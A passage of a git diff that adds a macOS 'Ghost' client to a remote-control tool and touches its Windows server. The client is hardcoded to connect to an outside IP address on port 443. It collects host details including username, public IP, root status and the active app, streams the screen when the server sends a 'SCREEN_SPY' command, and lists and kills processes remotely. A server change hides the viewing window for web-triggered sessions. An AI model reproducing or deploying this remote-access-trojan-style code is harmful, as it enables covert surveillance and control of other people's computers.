P-frames + uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1; + std::vector packet(headerSize + encodedSize); + + packet[0] = TOKEN_NEXTSCREEN; + packet[1] = ALGORITHM_H264; + + // Cursor position (0 for now) + int32_t cursorX = 0, cursorY = 0; + memcpy(&packet[2], &cursorX, sizeof(int32_t)); + memcpy(&packet[2 + sizeof(int32_t)], &cursorY, sizeof(int32_t)); + + // Cursor type + packet[2 + 2 * sizeof(int32_t)] = 0; + + // H264 data + memcpy(&packet[headerSize], encodedData, encodedSize); + + m_client->Send2Server((char*)packet.data(), packet.size()); +} + +uint32_t ScreenHandler::compareBitmap(const uint8_t* curr, const uint8_t* prev, + uint8_t* outBuf, uint32_t totalBytes, uint8_t algo) +{ + const uint32_t bytesPerPixel = 4; + const uint32_t totalPixels = totalBytes / bytesPerPixel; + const uint32_t gapThreshold = 8; + const uint32_t ratio = (algo == ALGORITHM_GRAY || algo == ALGORITHM_RGB565) ? 4 : 1; + + uint32_t outOffset = 0; + uint32_t i = 0; + + while (i < totalPixels) { + // Skip identical pixels + while (i < totalPixels && + *(uint32_t*)(curr + i * 4) == *(uint32_t*)(prev + i * 4)) { + i++; + } + if (i >= totalPixels) break; + + uint32_t start = i; + uint32_t lastDiff = i; + + while (i < totalPixels) { + if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) { + lastDiff = i; + } else if (i - lastDiff > gapThreshold) { + break; + } + i++; + } + + uint32_t end = lastDiff + 1; + uint32_t count = end - start; + uint32_t byteOffset = start * bytesPerPixel; + uint32_t byteCount = count * bytesPerPixel; + + // Write byteOffset + memcpy(outBuf + outOffset, &byteOffset, sizeof(uint32_t)); + outOffset += sizeof(uint32_t); + + // Write length + uint32_t lengthField = byteCount / ratio; + memcpy(outBuf + outOffset, &lengthField, sizeof(uint32_t)); + outOffset += sizeof(uint32_t); + + // Write pixel data + const uint8_t* srcData = curr + byteOffset; + if (algo == ALGORITHM_RGB565) { + convertBGRAtoRGB565(srcData, (uint16_t*)(outBuf + outOffset), count); + outOffset += count * 2; + } else if (algo == ALGORITHM_GRAY) { + convertBGRAtoGray(srcData, outBuf + outOffset, count); + outOffset += count; + } else { + memcpy(outBuf + outOffset, srcData, byteCount); + outOffset += byteCount; + } + } + + return outOffset; +} + +void ScreenHandler::convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount) +{ + for (uint32_t i = 0; i < pixelCount; i++) { + uint8_t b = src[i * 4 + 0]; + uint8_t g = src[i * 4 + 1]; + uint8_t r = src[i * 4 + 2]; + dst[i] = (uint8_t)((306 * r + 601 * g + 117 * b) >> 10); + } +} + +void ScreenHandler::convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount) +{ + for (uint32_t i = 0; i < pixelCount; i++) { + uint8_t b = src[i * 4 + 0]; + uint8_t g = src[i * 4 + 1]; + uint8_t r = src[i * 4 + 2]; + uint16_t r5 = (r >> 3) & 0x1F; + uint16_t g6 = (g >> 2) & 0x3F; + uint16_t b5 = (b >> 3) & 0x1F; + dst[i] = (r5 << 11) | (g6 << 5) | b5; + } +} + +uint64_t ScreenHandler::getTickMs() +{ + static mach_timebase_info_data_t timebase = {0, 0}; + if (timebase.denom == 0) { + mach_timebase_info(&timebase); + } + uint64_t now = mach_absolute_time(); + return (now * timebase.numer / timebase.denom) / 1000000; +} + +void ScreenHandler::captureLoop() +{ + NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height); + + uint8_t currentAlgo = m_algorithm.load(); + + // Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display + // This matches Windows client behavior: first frame is always raw bitmap, + // even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE. + sendFirstScreen(); + + // Small delay to ensure first frame is processed before H264 stream starts + usleep(50000); // 50ms, same as Windows client + + while (m_running) { + uint64_t start = getTickMs(); + + uint8_t algo = m_algorithm.load(); + + // Check if algorithm changed + if (algo != currentAlgo) { + NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo); + currentAlgo = algo; + + // If switching to/from H264, reset encoder + if (algo == ALGORITHM_H264) { + // Starting H264 - will be initialized in sendH264Frame + sendH264Frame(true); // First H264 frame is keyframe + } else if (m_h264Encoder) { + // Switching away from H264 - close encoder + m_h264Encoder->close(); + m_h264Encoder.reset(); + sendFirstScreen(); // Send full frame for DIFF modes + } + } else { + // Normal frame + if (algo == ALGORITHM_H264) { + sendH264Frame(false); + } else { + sendDiffFrame(); + } + } + + int fps = m_maxFPS.load(); + if (fps <= 0) fps = 10; + int sleepMs = 1000 / fps; + + int elapsed = (int)(getTickMs() - start); + int wait = sleepMs - elapsed; + if (wait > 0) { + usleep(wait * 1000); + } + } + + NSLog(@"ScreenHandler CaptureLoop stopped"); +} diff --git a/macos/SystemManager.h b/macos/SystemManager.h new file mode 100644 index 0000000..5f11383 --- /dev/null +++ b/macos/SystemManager.h @@ -0,0 +1,40 @@ +#pragma once + +#include +#include +#include + +// Forward declaration +class IOCPClient; + +class SystemManager { +public: + SystemManager(IOCPClient* client, uint64_t clientID); + ~SystemManager(); + + // Handle commands from server + void onReceive(const uint8_t* data, size_t size); + +private: + // Send process list to server + void sendProcessList(); + + // Kill processes by PID + void killProcesses(const uint8_t* data, size_t size); + + // Send window list (limited on macOS without accessibility) + void sendWindowsList(); + + // Get process name by PID + static std::string getProcessName(pid_t pid); + + // Get process executable path by PID + static std::string getProcessPath(pid_t pid); + + // Get all running PIDs + static std::vector getAllPids(); + +private: + IOCPClient* m_client; + uint64_t m_clientID; +}; diff --git a/macos/SystemManager.mm b/macos/SystemManager.mm new file mode 100644 index 0000000..7976dfd --- /dev/null +++ b/macos/SystemManager.mm @@ -0,0 +1,201 @@ +#import "SystemManager.h" +#import "../client/IOCPClient.h" +#import +#import +#import +#import +#import + +SystemManager::SystemManager(IOCPClient* client, uint64_t clientID) + : m_client(client) + , m_clientID(clientID) +{ + // Send initial process list on connection + sendProcessList(); +} + +SystemManager::~SystemManager() +{ +} + +void SystemManager::onReceive(const uint8_t* data, size_t size) +{ + if (!data || size == 0) return; + + switch (data[0]) { + case COMMAND_PSLIST: + sendProcessList(); + break; + + case COMMAND_KILLPROCESS: + if (size > 1) { + killProcesses(data + 1, size - 1); + // Refresh list after kill + usleep(100000); // 100ms wait + sendProcessList(); + } + break; + + case COMMAND_WSLIST: + sendWindowsList(); + break; + + default: + NSLog(@"SystemManager: Unknown command: %d", (int)data[0]); + break; + } +} + +std::vector SystemManager::getAllPids() +{ + std::vector pids; + + // Get number of processes + int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0); + if (count <= 0) return pids; + + // Allocate buffer for PIDs + std::vector buffer(count * 2); // Extra space for new processes + count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t))); + if (count <= 0) return pids; + + int numPids = count / sizeof(pid_t); + for (int i = 0; i < numPids; i++) { + if (buffer[i] > 0) { + pids.push_back(buffer[i]); + } + } + + return pids; +} + +std::string SystemManager::getProcessName(pid_t pid) +{ + char name[PROC_PIDPATHINFO_MAXSIZE]; + memset(name, 0, sizeof(name)); + + struct proc_bsdinfo info; + if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) { + return std::string(info.pbi_name); + } + + return ""; +} + +std::string SystemManager::getProcessPath(pid_t pid) +{ + char path[PROC_PIDPATHINFO_MAXSIZE]; + memset(path, 0, sizeof(path)); + + if (proc_pidpath(pid, path, sizeof(path)) > 0) { + return std::string(path); + } + + return ""; +} + +void SystemManager::sendProcessList() +{ + if (!m_client) return; + + std::vector buf; + buf.reserve(64 * 1024); + + // Token header + buf.push_back(TOKEN_PSLIST); + + // Architecture string +#if defined(__arm64__) || defined(__aarch64__) + const char* arch = "arm64"; +#else + const char* arch = "x64"; +#endif + + std::vector pids = getAllPids(); + + for (pid_t pid : pids) { + if (pid <= 0) continue; + + std::string name = getProcessName(pid); + if (name.empty()) continue; + + std::string path = getProcessPath(pid); + if (path.empty()) { + path = "[" + name + "]"; + } + + // Format: "processname:arch" + std::string exeFile = name + ":" + arch; + + // Write PID (4 bytes, DWORD) + uint32_t dwPid = (uint32_t)pid; + const uint8_t* p = (const uint8_t*)&dwPid; + buf.insert(buf.end(), p, p + sizeof(uint32_t)); + + // Write exeFile (null-terminated) + buf.insert(buf.end(), exeFile.begin(), exeFile.end()); + buf.push_back(0); + + // Write fullPath (null-terminated) + buf.insert(buf.end(), path.begin(), path.end()); + buf.push_back(0); + } + + m_client->Send2Server((char*)buf.data(), buf.size()); + NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes", + buf.size(), pids.size()); +} + +void SystemManager::killProcesses(const uint8_t* data, size_t size) +{ + // Each PID is 4 bytes (DWORD) + for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) { + uint32_t dwPid = *(uint32_t*)(data + i); + pid_t pid = (pid_t)dwPid; + + // Don't allow killing kernel/launchd + if (pid <= 1) continue; + + // Don't allow killing ourselves + if (pid == getpid()) continue; + + int ret = kill(pid, SIGKILL); + NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret); + } +} + +void SystemManager::sendWindowsList() +{ + if (!m_client) return; + + std::vector buf; + buf.push_back(TOKEN_WSLIST); + + // Get list of running applications + NSArray* apps = [[NSWorkspace sharedWorkspace] runningApplications]; + + for (NSRunningApplication* app in apps) { + // Only include apps with windows + if (app.activationPolicy != NSApplicationActivationPolicyRegular) { + continue; + } + + NSString* name = app.localizedName; + if (!name) continue; + + pid_t pid = app.processIdentifier; + + // Write window handle (use PID as pseudo-handle) + uint64_t hwnd = (uint64_t)pid; + const uint8_t* p = (const uint8_t*)&hwnd; + buf.insert(buf.end(), p, p + sizeof(uint64_t)); + + // Write window title (null-terminated) + const char* utf8Name = [name UTF8String]; + buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name)); + buf.push_back(0); + } + + m_client->Send2Server((char*)buf.data(), buf.size()); + NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size()); +} diff --git a/macos/build.sh b/macos/build.sh new file mode 100644 index 0000000..b5d3b94 --- /dev/null +++ b/macos/build.sh @@ -0,0 +1,47 @@ +#!/bin/bash + +# macOS Ghost Client Build Script +# Usage: ./build.sh + +set -e + +echo "=== macOS Ghost Client Build ===" +echo "" + +# Check for Xcode Command Line Tools +if ! command -v clang &> /dev/null; then + echo "Error: Xcode Command Line Tools not installed" + echo "Run: xcode-select --install" + exit 1 +fi + +# Check for CMake +if ! command -v cmake &> /dev/null; then + echo "Error: CMake not installed" + echo "Install with: brew install cmake" + exit 1 +fi + +# Create build directory +mkdir -p build +cd build + +# Configure +echo "Configuring..." +cmake .. -DCMAKE_BUILD_TYPE=Release + +# Build +echo "" +echo "Building..." +cmake --build . --config Release -j$(sysctl -n hw.ncpu) + +# Done +echo "" +echo "=== Build Complete ===" +echo "Executable: build/bin/ghost" +echo "" +echo "To run:" +echo " ./bin/ghost [server_ip] [port]" +echo "" +echo "Example:" +echo " ./bin/ghost 192.168.0.55 6543" diff --git a/macos/lib/libzstd.a b/macos/lib/libzstd.a new file mode 100644 index 0000000..9eca70a Binary files /dev/null and b/macos/lib/libzstd.a differ diff --git a/macos/main.mm b/macos/main.mm new file mode 100644 index 0000000..d32f1a7 --- /dev/null +++ b/macos/main.mm @@ -0,0 +1,548 @@ +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +#import "../client/IOCPClient.h" +#define XXH_INLINE_ALL +#include "../common/xxhash.h" +#import "Permissions.h" +#import "ScreenHandler.h" +#import "InputHandler.h" +#import "SystemManager.h" + +// Global state +static std::atomic g_running(true); + +// Client ID (calculated from system info, used by ScreenHandler) +uint64_t g_myClientID = 0; + +// 远程地址:当前为写死状态,如需调试,请按实际情况修改 +CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS }; + +State g_bExit = S_CLIENT_NORMAL; + +// ============== System Information Functions ============== + +// Get macOS version string (e.g., "macOS 14.0 Sonoma") +static std::string getMacOSVersion() +{ + NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion]; + NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld", + (long)version.majorVersion, + (long)version.minorVersion, + (long)version.patchVersion]; + return std::string([versionString UTF8String]); +} + +// Get hostname +static std::string getHostname() +{ + char hostname[256] = {}; + gethostname(hostname, sizeof(hostname)); + return std::string(hostname); +} + +// Get CPU model and frequency +static std::string getCPUInfo() +{ + char buf[256] = {}; + size_t size = sizeof(buf); + if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) { + return std::string(buf); + } + return "Unknown CPU"; +} + +// Get CPU frequency in MHz +static int getCPUFrequencyMHz() +{ + uint64_t freq = 0; + size_t size = sizeof(freq); + if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) { + return (int)(freq / 1000000); + } + return 0; +} + +// Get number of CPU cores +static int getCPUCores() +{ + int cores = 0; + size_t size = sizeof(cores); + if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) { + return cores; + } + return 1; +} + +// Get total physical memory in GB +static double getMemoryGB() +{ + int64_t memSize = 0; + size_t size = sizeof(memSize); + if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) { + return (double)memSize / (1024.0 * 1024.0 * 1024.0); + } + return 0; +} + +// Get current username +static std::string getUsername() +{ + struct passwd* pw = getpwuid(getuid()); + if (pw && pw->pw_name) { + return std::string(pw->pw_name); + } + const char* user = getenv("USER"); + return user ? std::string(user) : "unknown"; +} + +// Get screen resolution +static std::string getScreenResolution() +{ + NSScreen* mainScreen = [NSScreen mainScreen]; + if (mainScreen) { + NSRect frame = [mainScreen frame]; + return [NSString stringWithFormat:@"1:%dx%d", + (int)frame.size.width, (int)frame.size.height].UTF8String; + } + return "0:0x0"; +} + +// Get executable path +static std::string getExecutablePath() +{ + char path[PATH_MAX]; + uint32_t size = sizeof(path); + if (_NSGetExecutablePath(path, &size) == 0) { + return std::string(path); + } + return ""; +} + +// Get current time string (Beijing time, UTC+8) +static std::string getTimeString() +{ + NSDateFormatter* formatter = [[NSDateFormatter alloc] init]; + [formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"]; + [formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]]; + NSString* dateString = [formatter stringFromDate:[NSDate date]]; + return std::string([dateString UTF8String]); +} + +// Get active application name +static std::string getActiveApp() +{ + NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication]; + if (app) { + NSString* name = [app localizedName]; + if (name) { + return std::string([name UTF8String]); + } + } + return ""; +} + +// ============== Check if camera exists ============== + +static bool hasCameraDevice() +{ + // Most MacBooks have built-in FaceTime camera + // Check model identifier to determine if it's a MacBook + char model[256] = {}; + size_t size = sizeof(model); + if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) { + std::string modelStr(model); + // MacBooks (Air/Pro) always have cameras + if (modelStr.find("MacBook") != std::string::npos) { + return true; + } + // iMac also has camera + if (modelStr.find("iMac") != std::string::npos) { + return true; + } + } + // Mac Mini and Mac Pro typically don't have built-in cameras + return false; +} + +// ============== Public IP ============== + +// Execute command and return output +static std::string execCmd(const std::string& cmd) +{ + std::unique_ptr pipe(popen(cmd.c_str(), "r"), pclose); + if (!pipe) return ""; + char buf[4096]; + std::string result; + while (fgets(buf, sizeof(buf), pipe.get())) { + result += buf; + } + // Trim trailing whitespace + while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' ')) + result.pop_back(); + return result; +} + +// HTTP GET using curl (macOS has curl built-in) +static std::string httpGet(const std::string& url, int timeoutSec = 5) +{ + std::string t = std::to_string(timeoutSec); + return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null"); +} + +// Get public IP (try multiple sources) +static std::string getPublicIP() +{ + static const char* urls[] = { + "https://checkip.amazonaws.com", + "https://api.ipify.org", + "https://ipinfo.io/ip", + "https://icanhazip.com", + "https://ifconfig.me/ip", + }; + for (auto& url : urls) { + std::string ip = httpGet(url, 3); + // Validate: non-empty, contains dot, reasonable length + if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) { + NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url); + return ip; + } + } + NSLog(@"getPublicIP: all sources failed"); + return ""; +} + +// ============== Install Time (persistent storage) ============== + +static std::string getInstallTime() +{ + @autoreleasepool { + NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults]; + NSString* installTime = [defaults stringForKey:@"ghost_install_time"]; + + if (installTime == nil || [installTime length] == 0) { + // First run - record current time as install time + std::string currentTime = getTimeString(); + installTime = [NSString stringWithUTF8String:currentTime.c_str()]; + [defaults setObject:installTime forKey:@"ghost_install_time"]; + [defaults synchronize]; + NSLog(@"First run - recorded install time: %@", installTime); + } + + return std::string([installTime UTF8String]); + } +} + +// ============== Fill LOGIN_INFOR ============== + +static void fillLoginInfo(LOGIN_INFOR& info) +{ + // Token is set in constructor + info.bToken = TOKEN_LOGIN; + + // OS Version + std::string osVer = getMacOSVersion(); + strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1); + + // CPU MHz + info.dwCPUMHz = getCPUFrequencyMHz(); + + // PC Name (hostname) + std::string hostname = getHostname(); + strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1); + + // Webcam + info.bWebCamIsExist = hasCameraDevice() ? 1 : 0; + + // Start time (current session start) + std::string startTime = getTimeString(); + strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1); + + // Reserved fields (pipe-separated, must match Windows client order) + // Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID + + // 1. Client type + info.AddReserved("macOS"); + + // 2. System bits (OS bits, always 64 on modern macOS) + info.AddReserved(64); + + // 3. CPU cores + info.AddReserved(getCPUCores()); + + // 4. Memory (GB) + info.AddReserved(getMemoryGB()); + + // 5. File path (executable path) + std::string exePath = getExecutablePath(); + info.AddReserved(exePath.c_str()); + + // 6. Placeholder + info.AddReserved("?"); + + // 7. Install time (first run time, persistent) + std::string installTime = getInstallTime(); + info.AddReserved(installTime.c_str()); + + // 8. Active window / Start time (initial value is start time, updated via heartbeat) + info.AddReserved(startTime.c_str()); + + // 9. Program bits (always 64 on modern macOS) + info.AddReserved(64); + + // 10. Authorization info (placeholder) + info.AddReserved(""); + + // 11. Location (placeholder, could add GeoIP later) + info.AddReserved(""); + + // 12. Public IP + std::string pubIP = getPublicIP(); + info.AddReserved(pubIP.c_str()); + + // 13. Version + info.AddReserved("1.0.0"); + + // 14. Current username + std::string username = getUsername(); + info.AddReserved(username.c_str()); + + // 15. Is running as root + info.AddReserved(getuid() == 0 ? 1 : 0); + + // 16. Screen resolution (format: count:widthxheight) + std::string resolution = getScreenResolution(); + info.AddReserved(resolution.c_str()); + + // 17. Client ID (calculated from system info, same algorithm as server) + // Format: pubIP|hostname|os|cpu|path + char cpuStr[32]; + snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz); + std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" + + hostname + "|" + + osVer + "|" + + cpuStr + "|" + + exePath; + g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); + info.AddReserved(std::to_string(g_myClientID).c_str()); + + NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu", + osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID); +} + +// ============== Signal Handling ============== + +static void signalHandler(int sig) +{ + NSLog(@"Received signal %d, shutting down...", sig); + g_running = false; +} + +static void setupSignals() +{ + signal(SIGTERM, signalHandler); + signal(SIGINT, signalHandler); + signal(SIGHUP, SIG_IGN); + signal(SIGPIPE, SIG_IGN); +} + +// ============== Main Entry Point ============== + +// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致) +struct RttEstimator { + double srtt = 0.0; // 平滑 RTT (秒) + double rttvar = 0.0; // RTT 波动 (秒) + double rto = 0.0; // 超时时间 (秒) + bool initialized = false; + + void update_from_sample(double rtt_ms) + { + // 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒 + if (rtt_ms <= 0 || rtt_ms > 30000) + return; + + const double alpha = 1.0 / 8; + const double beta = 1.0 / 4; + double rtt = rtt_ms / 1000.0; + + if (!initialized) { + srtt = rtt; + rttvar = rtt / 2.0; + rto = srtt + 4.0 * rttvar; + initialized = true; + } else { + rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt); + srtt = (1.0 - alpha) * srtt + alpha * rtt; + rto = srtt + 4.0 * rttvar; + } + + // 限制最小 RTO(RFC 6298 推荐 1 秒) + if (rto < 1.0) rto = 1.0; + } +}; + +RttEstimator g_rttEstimator; +int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整 + +void* ScreenworkingThread(void* param) +{ + try { + std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); + void* clientAddr = ClientObject.get(); + Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); + if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { + std::unique_ptr handler(new ScreenHandler(ClientObject.get())); + if (!handler->init()) { + Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n"); + return NULL; + } + ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); + // 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致) + handler->sendBitmapInfo(); + Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr); + while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) + Sleep(1000); + } + Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr); + } catch (const std::exception& e) { + Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what()); + } + return NULL; +} + +int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) +{ + if (szBuffer == nullptr || ulLength == 0) + return TRUE; + + if (szBuffer[0] == COMMAND_BYE) { + Mprintf("*** [%p] Received Bye-Bye command ***\n", user); + g_bExit = S_CLIENT_EXIT; + g_running = false; // Stop main loop to prevent reconnection + } else if (szBuffer[0] == COMMAND_SHELL) { + Mprintf("** [%p] Received 'SHELL' command ***\n", user); + } else if (szBuffer[0] == COMMAND_SCREEN_SPY) { + std::thread(ScreenworkingThread, nullptr).detach(); + Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user); + } else if (szBuffer[0] == COMMAND_SYSTEM) { + Mprintf("** [%p] Received 'SYSTEM' command ***\n", user); + } else if (szBuffer[0] == COMMAND_LIST_DRIVE) { + Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user); + } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { + if (ulLength >= 1 + sizeof(HeartbeatACK)) { + HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); + uint64_t now = GetUnixMs(); + double rtt_ms = (double)(now - ack->Time); + g_rttEstimator.update_from_sample(rtt_ms); + // Log at most once per minute + static uint64_t lastLogTime = 0; + if (now - lastLogTime >= 60000) { + lastLogTime = now; + Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", + user, rtt_ms, g_rttEstimator.srtt * 1000); + } + } + } else if (szBuffer[0] == CMD_MASTERSETTING) { + int settingSize = ulLength - 1; + if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval + MasterSettings settings = {}; + memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings)); + if (settings.ReportInterval > 0) + g_heartbeatInterval = settings.ReportInterval; + Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); + } + } else if (szBuffer[0] == COMMAND_NEXT) { + Mprintf("** [%p] Received 'NEXT' command ***\n", user); + } else { + Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); + } + return TRUE; +} + +int main(int argc, const char* argv[]) +{ + (void)argc; + (void)argv; + + @autoreleasepool { + NSLog(@"=== macOS Ghost Client ==="); + + // Setup signal handlers + setupSignals(); + + // Check permissions + NSLog(@"Checking permissions..."); + + if (!Permissions::checkScreenCapture()) { + NSLog(@"Screen capture permission not granted."); + NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording"); + Permissions::openScreenCaptureSettings(); + } + + if (!Permissions::checkAccessibility()) { + NSLog(@"Accessibility permission not granted."); + NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility"); + Permissions::requestAccessibility(); + } + + // Create client + auto ClientObject = std::make_unique(g_bExit, false); + ClientObject->setManagerCallBack(NULL, DataProcess, NULL); + + // Main event loop + NSLog(@"Starting main loop..."); + LOGIN_INFOR logInfo; + fillLoginInfo(logInfo); + + while (g_running) { + clock_t c = clock(); + if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { + Sleep(5000); + continue; + } + + ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); + + // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT + while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { + // 等待心跳间隔(每秒检查一次退出条件,保证及时响应) + int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; + for (int i = 0; i < interval; ++i) { + if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) + break; + Sleep(1000); + } + if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) + break; + + // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) + std::string activity = getActiveApp(); + + Heartbeat hb; + hb.Time = GetUnixMs(); + hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒 + strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1); + + BYTE buf[sizeof(Heartbeat) + 1]; + buf[0] = TOKEN_HEARTBEAT; + memcpy(buf + 1, &hb, sizeof(Heartbeat)); + ClientObject->Send2Server((char*)buf, sizeof(buf)); + } + } + + NSLog(@"Shutting down..."); + } + + return 0; +} diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 5dd12e8..90930b8 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -156,7 +156,13 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41); if (pClientID) { m_ClientID = *((uint64_t*)pClientID); - Mprintf("[ScreenSpyDlg] Parsed clientID in constructor: %llu\n", m_ClientID); + + // Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once) + if (WebService().IsRunning()) { + int width = m_BitmapInfor_Full->bmiHeader.biWidth; + int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight); + WebService().NotifyResolutionChange(m_ClientID, width, height); + } } // 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级) @@ -758,6 +764,12 @@ BOOL CScreenSpyDlg::OnInitDialog() // 注册屏幕上下文到 WebService(用于 Web 端鼠标/键盘控制) WebService().RegisterScreenContext(m_ClientID, m_ContextObject); + // Hide window if this session was triggered by web client + if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) { + m_bHide = true; + ShowWindow(SW_HIDE); + } + return TRUE; } @@ -1299,6 +1311,24 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame) break; } case ALGORITHM_H264: { + // Decode locally if dialog is visible + if (!m_bHide && NextScreenLength > 0) { + if (Decode((LPBYTE)NextScreenData, NextScreenLength)) { + bChange = TRUE; + } + } + // Broadcast H264 keyframe to web clients + if (NextScreenLength > 0 && WebService().IsRunning()) { + std::vector packet(4 + 1 + 4 + NextScreenLength); + uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF); + uint8_t frameType = 1; // Keyframe + uint32_t dataLen = (uint32_t)NextScreenLength; + memcpy(packet.data(), &deviceIdLow, 4); + packet[4] = frameType; + memcpy(packet.data() + 5, &dataLen, 4); + memcpy(packet.data() + 9, NextScreenData, NextScreenLength); + WebService().BroadcastH264Frame(m_ClientID, packet.data(), packet.size()); + } break; } default: diff --git a/server/2015Remote/WebPage.h b/server/2015Remote/WebPage.h index 75b37a1..b230a4a 100644 --- a/server/2015Remote/WebPage.h +++ b/server/2015Remote/WebPage.h @@ -1298,6 +1298,11 @@ inline std::string GetWebPageHTML() { } function initDecoder(width, height) { + decoderWidth = width; + decoderHeight = height; + needKeyframe = false; + decodeTimestamp = 0; + // Clear canvas before resizing to prevent residual content ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform ctx.clearRect(0, 0, canvas.width, canvas.height); @@ -1319,6 +1324,10 @@ inline std::string GetWebPageHTML() { lastFrameTime = performance.now(); decoder = new VideoDecoder({ output: (frame) => { + // Check if frame dimensions match canvas + if (frame.displayWidth !== canvas.width || frame.displayHeight !== canvas.height) { + console.warn(`Frame size mismatch: frame=${frame.displayWidth}x${frame.displayHeight}, 